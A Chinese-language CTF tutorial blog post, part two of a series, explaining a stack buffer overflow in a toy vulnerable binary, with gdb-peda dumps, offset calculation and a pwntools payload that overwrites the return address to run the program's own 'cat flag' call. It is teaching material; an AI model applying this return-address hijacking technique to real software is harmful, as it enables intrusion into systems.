virusdefender's blog ʕ•ᴥ•ʔ

二进制安全之栈溢出(二)

上一篇文章是通过数组越界覆盖结构体中其他成员内存,达到修改该成员的值的目的,接下来将使用第二种方法获取 flag,就是使用数组越界覆盖函数的返回地址,达到控制函数执行流程的目的。

函数栈的变化

这一次需要使用的编译参数是 gcc -g -O0 -fno-stack-protector -o vuln main.cfno-stack-protector 是禁用编译器的栈保护机制,毕竟是入门。需要提前学习的是 https://zhuanlan.zhihu.com/p/25816426 里面的背景知识,明白函数调用过程中栈的变化。

总结一下

比如代码

 1int add(int a, int b){
 2    return a + b;
 3}
 4
 5int main(){
 6    int a = 1;
 7    int b = 2;
 8    add(a, b);
 9    return 0;
10}

得到的汇编是这样的

 1gdb-peda$ pdisas main
 2Dump of assembler code for function main:
 3   0x00000000004004ea <+0>:	push   rbp
 4   0x00000000004004eb <+1>:	mov    rbp,rsp
 5   # 栈顶提高 16 个字节  |rbp|........|rsp| -> 内存地址减小方向
 6   0x00000000004004ee <+4>:	sub    rsp,0x10
 7   # 在栈上放了两个数字,占用了 8 个字节
 8   # |rbp| 2 | 1 | ... |rsp|
 9   0x00000000004004f2 <+8>:	mov    DWORD PTR [rbp-0x8],0x1
10   0x00000000004004f9 <+15>:	mov    DWORD PTR [rbp-0x4],0x2
11   # 把两个数字给寄存器
12   0x0000000000400500 <+22>:	mov    edx,DWORD PTR [rbp-0x4]
13   0x0000000000400503 <+25>:	mov    eax,DWORD PTR [rbp-0x8]
14   0x0000000000400506 <+28>:	mov    esi,edx
15   0x0000000000400508 <+30>:	mov    edi,eax
16   # 函数调用,其实相当于 push 下一条指令地址,然后跳转到 add 函数那里
17   0x000000000040050a <+32>:	call   0x4004d6 <add>
18   # eax 在这里保存返回值的值
19   0x000000000040050f <+37>:	mov    eax,0x0
20   # leave 相当于 mov rsp,rbp; pop rbp
21   # 这个函数的栈相当于清空了
22   0x0000000000400514 <+42>:	leave
23   0x0000000000400515 <+43>:	ret
24End of assembler dump.
25
26gdb-peda$ pdisas add
27Dump of assembler code for function add:
28   # 保存 main 函数的栈底地址
29   0x00000000004004d6 <+0>:	push   rbp
30   # rbp = rsp 当前函数的栈底地址等于栈顶地址,相当于创建了一个新的空栈
31   0x00000000004004d7 <+1>:	mov    rbp,rsp
32   # 寄存器中的值放到栈里面,然后放到运算的寄存器中
33   0x00000000004004da <+4>:	mov    DWORD PTR [rbp-0x4],edi
34   0x00000000004004dd <+7>:	mov    DWORD PTR [rbp-0x8],esi
35   0x00000000004004e0 <+10>:	mov    edx,DWORD PTR [rbp-0x4]
36   0x00000000004004e3 <+13>:	mov    eax,DWORD PTR [rbp-0x8]
37   # 加法
38   0x00000000004004e6 <+16>:	add    eax,edx
39   # pop rbp,其实这个函数中栈里面并没有新增的数据
40   0x00000000004004e8 <+18>:	pop    rbp
41   0x00000000004004e9 <+19>:	ret
42End of assembler dump.

使用上篇文章的代码生成的汇编会更复杂,但是暂时这些就够了。

使用 peda 查看栈和寄存器数据

gdb ./vuln 然后 b 21gets(student.name); 后面下断点,r 运行,输入 1925AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 之后可以看到 peda 的输出分为几部分,分为 registerscodestack,分别是寄存器、汇编代码和栈数据分布。

 1gdb-peda$ b 21
 2Breakpoint 1 at 0x40072e: file main.c, line 21.
 3gdb-peda$ r
 4Starting program: /home/virusdefender/Desktop/pwn/new/vuln
 5What's Your Birth?
 61925
 7What's Your Name?
 8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 9[----------------------------------registers-----------------------------------]
10RAX: 0x7fffffffe2f0 ('A' <repeats 63 times>)
11RBX: 0x0
12RCX: 0x7ffff7dd18e0 --> 0xfbad2288
13RDX: 0x7ffff7dd3790 --> 0x0
14RSI: 0x60245f --> 0xa ('\n')
15RDI: 0x7fffffffe32f --> 0x785ffffe46300
16RBP: 0x7fffffffe340 --> 0x400790 (<__libc_csu_init>:	push   r15)
17RSP: 0x7fffffffe2e0 --> 0x7fffffffe428 --> 0x7fffffffe6b3 ("/home/virusdefender/Desktop/pwn/new/vuln")
18RIP: 0x40072e (<main+120>:	mov    eax,DWORD PTR [rbp-0xc])
19R8 : 0x602460 --> 0x0
20R9 : 0x4141414141414141 ('AAAAAAAA')
21R10: 0x4141414141414141 ('AAAAAAAA')
22R11: 0x246
23R12: 0x4005c0 (<_start>:	xor    ebp,ebp)
24R13: 0x7fffffffe420 --> 0x1
25R14: 0x0
26R15: 0x0
27EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
28[-------------------------------------code-------------------------------------]
29   0x400721 <main+107>:	mov    rdi,rax
30   0x400724 <main+110>:	mov    eax,0x0
31   0x400729 <main+115>:	call   0x400590 <gets@plt>
32=> 0x40072e <main+120>:	mov    eax,DWORD PTR [rbp-0xc]
33   0x400731 <main+123>:	mov    esi,eax
34   0x400733 <main+125>:	mov    edi,0x400855
35   0x400738 <main+130>:	mov    eax,0x0
36   0x40073d <main+135>:	call   0x400560 <printf@plt>
37[------------------------------------stack-------------------------------------]
380000| 0x7fffffffe2e0 --> 0x7fffffffe428 --> 0x7fffffffe6b3 ("/home/virusdefender/Desktop/pwn/new/vuln")
390008| 0x7fffffffe2e8 --> 0x1ff000000
400016| 0x7fffffffe2f0 ('A' <repeats 63 times>)
410024| 0x7fffffffe2f8 ('A' <repeats 55 times>)
420032| 0x7fffffffe300 ('A' <repeats 47 times>)
430040| 0x7fffffffe308 ('A' <repeats 39 times>)
440048| 0x7fffffffe310 ('A' <repeats 31 times>)
450056| 0x7fffffffe318 ('A' <repeats 23 times>)
46[------------------------------------------------------------------------------]
47Legend: code, data, rodata, value
48
49Breakpoint 1, main (argc=0x1, argv=0x7fffffffe428) at main.c:21
5021	    printf("You Are Born In %d\n", student.birth);
51
52gdb-peda$ p &student
53$1 = (struct Student *) 0x7fffffffe2f0
54gdb-peda$ p sizeof(student)
55$2 = 0x48

register 中可以看到 RBP: 0x7fffffffe340RSP: 0x7fffffffe2e0RIP: 0x40072e,在 stack 中可以看到这两个地址之间的数据,当然空间原因显示的并不全,可以使用 telescope 16 查看更多的栈内存。

 1gdb-peda$ p $rbp
 2$6 = (void *) 0x7fffffffe340
 3gdb-peda$ p $rsp
 4$7 = (void *) 0x7fffffffe2e0
 5gdb-peda$ telescope 16
 60000| 0x7fffffffe2e0 --> 0x7fffffffe428 --> 0x7fffffffe6b3 ("/home/virusdefender/Desktop/pwn/new/vuln")
 70008| 0x7fffffffe2e8 --> 0x1ff000000
 80016| 0x7fffffffe2f0 ('A' <repeats 63 times>)
 90024| 0x7fffffffe2f8 ('A' <repeats 55 times>)
100032| 0x7fffffffe300 ('A' <repeats 47 times>)
110040| 0x7fffffffe308 ('A' <repeats 39 times>)
120048| 0x7fffffffe310 ('A' <repeats 31 times>)
130056| 0x7fffffffe318 ('A' <repeats 23 times>)
140064| 0x7fffffffe320 ('A' <repeats 15 times>)
150072| 0x7fffffffe328 --> 0x41414141414141 ('AAAAAAA')
160080| 0x7fffffffe330 --> 0x785ffffe463
170088| 0x7fffffffe338 --> 0x0
180096| 0x7fffffffe340 --> 0x400790 (<__libc_csu_init>:	push   r15)
190104| 0x7fffffffe348 --> 0x7ffff7a2d830 (<__libc_start_main+240>:	mov    edi,eax)
200112| 0x7fffffffe350 --> 0x0
210120| 0x7fffffffe358 --> 0x7fffffffe428 --> 0x7fffffffe6b3 ("/home/virusdefender/Desktop/pwn/new/vuln")

然后可以简单得到 student 的内存的范围,0x7fffffffe2f0 - 0x7fffffffe338 就是在栈中。0032| 0x7fffffffe340 --> 0x400790 (<__libc_csu_init>: push r15) 也印证了这一点,这样 0x7fffffffe340 地址的数据就很明显是 main 函数的 rbp,0x7fffffffe348 的数据就是 main 函数的下一句指令的地址。

控制函数流程

只要把 system("cat flag"); 的地址写入到 0x7fffffffe348 就可以了,这个地址可以从 pdisas main 汇编代码中看到

10x0000000000400756 <+160>:	mov    edi,0x40087e
20x000000000040075b <+165>:	mov    eax,0x0
30x0000000000400760 <+170>:	call   0x400550 <system@plt>

0x40087e 处就是 system 的参数

1gdb-peda$ x 0x40087e
20x40087e:	"cat flag"

所以要覆盖成的指令地址就是 0x0000000000400756,而不能是 0x0000000000400760,否则函数取到的参数可能是错误的。

思考:这个地址是在内存哪个区域?是栈区么?这个地址会变么?

payload 是

1from pwn import *
2print "1925\n" + "A" * (0x7fffffffe348 - 0x7fffffffe2f0) + p64(0x0000000000400756)

这里使用了 pwntools 库,p64 函数的作用就是把一个数字转换为内存中分布的形式

1>>> p64(0xdeadbeef)
2'\xef\xbe\xad\xde\x00\x00\x00\x00'
1What's Your Birth?
2What's Your Name?
3You Are Born In 1094795585
4You Are Naive.
5You Speed One Second Here.
6THIS_IS_FLAG
7[1]    78848 bus error (core dumped)  ./vuln < 1.in

运行后虽然能成功的打印出 flag,但是最后进程会 crash,是因为 main 函数的栈底地址被我们覆盖了,如果要避免崩溃,还是需要精细的维护堆栈平衡的。

使用 GDB b 29,也就是最后的 return 0

 1gdb-peda$ b 29
 2Breakpoint 1 at 0x40077b: file main.c, line 29.
 3gdb-peda$ r < 1.in
 4Starting program: /home/virusdefender/Desktop/pwn/new/vuln < 1.in
 5What's Your Birth?
 6What's Your Name?
 7You Are Born In 1094795585
 8You Are Naive.
 9You Speed One Second Here.
10[----------------------------------registers-----------------------------------]
11RAX: 0x1b
12RBX: 0x0
13RCX: 0x7ffff7b04290 (<__write_nocancel+7>:	cmp    rax,0xfffffffffffff001)
14RDX: 0x7ffff7dd3780 --> 0x0
15RSI: 0x602010 ("You Speed One Second Here.\n")
16RDI: 0x1
17RBP: 0x7fffffffe340 ("AAAAAAAA\360\342\377\377\377\177")
18RSP: 0x7fffffffe2e0 --> 0x7fffffffe428 --> 0x7fffffffe6b6 ("/home/virusdefender/Desktop/pwn/new/vuln")
19RIP: 0x40077b (<main+197>:	mov    eax,0x0)
20R8 : 0x2e6572654820646e ('nd Here.')
21R9 : 0x1b
22R10: 0x0
23R11: 0x246
24R12: 0x4005c0 (<_start>:	xor    ebp,ebp)
25R13: 0x7fffffffe420 --> 0x1
26R14: 0x0
27R15: 0x0
28EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
29[-------------------------------------code-------------------------------------]
30   0x40076c <main+182>:	call   0x400540 <puts@plt>
31   0x400771 <main+187>:	mov    edi,0x400896
32   0x400776 <main+192>:	call   0x400540 <puts@plt>
33=> 0x40077b <main+197>:	mov    eax,0x0
34   0x400780 <main+202>:	leave
35   0x400781 <main+203>:	ret
36   0x400782:	nop    WORD PTR cs:[rax+rax*1+0x0]
37   0x40078c:	nop    DWORD PTR [rax+0x0]
38[------------------------------------stack-------------------------------------]
390000| 0x7fffffffe2e0 --> 0x7fffffffe428 --> 0x7fffffffe6b6 ("/home/virusdefender/Desktop/pwn/new/vuln")
400008| 0x7fffffffe2e8 --> 0x1ff000000
410016| 0x7fffffffe2f0 --> 0x6e69622fbb48f631
420024| 0x7fffffffe2f8 ("//shVST_j;X1\322\017\005", 'A' <repeats 65 times>, "\360\342\377\377\377\177")
430032| 0x7fffffffe300 --> 0x41050fd231583b6a
440040| 0x7fffffffe308 ('A' <repeats 64 times>, "\360\342\377\377\377\177")
450048| 0x7fffffffe310 ('A' <repeats 56 times>, "\360\342\377\377\377\177")
460056| 0x7fffffffe318 ('A' <repeats 48 times>, "\360\342\377\377\377\177")
47[------------------------------------------------------------------------------]
48Legend: code, data, rodata, value
49
50Breakpoint 1, main (argc=0x1, argv=0x7fffffffe428) at main.c:29
5129	    return 0;

然后输入 ni 一直回车,注意观察 code 区域,就可以进行汇编指令级别的单步调试。

思考题答案:

参考

提交评论 | 微信打赏 | 转载必须注明原文链接

#安全 #CTF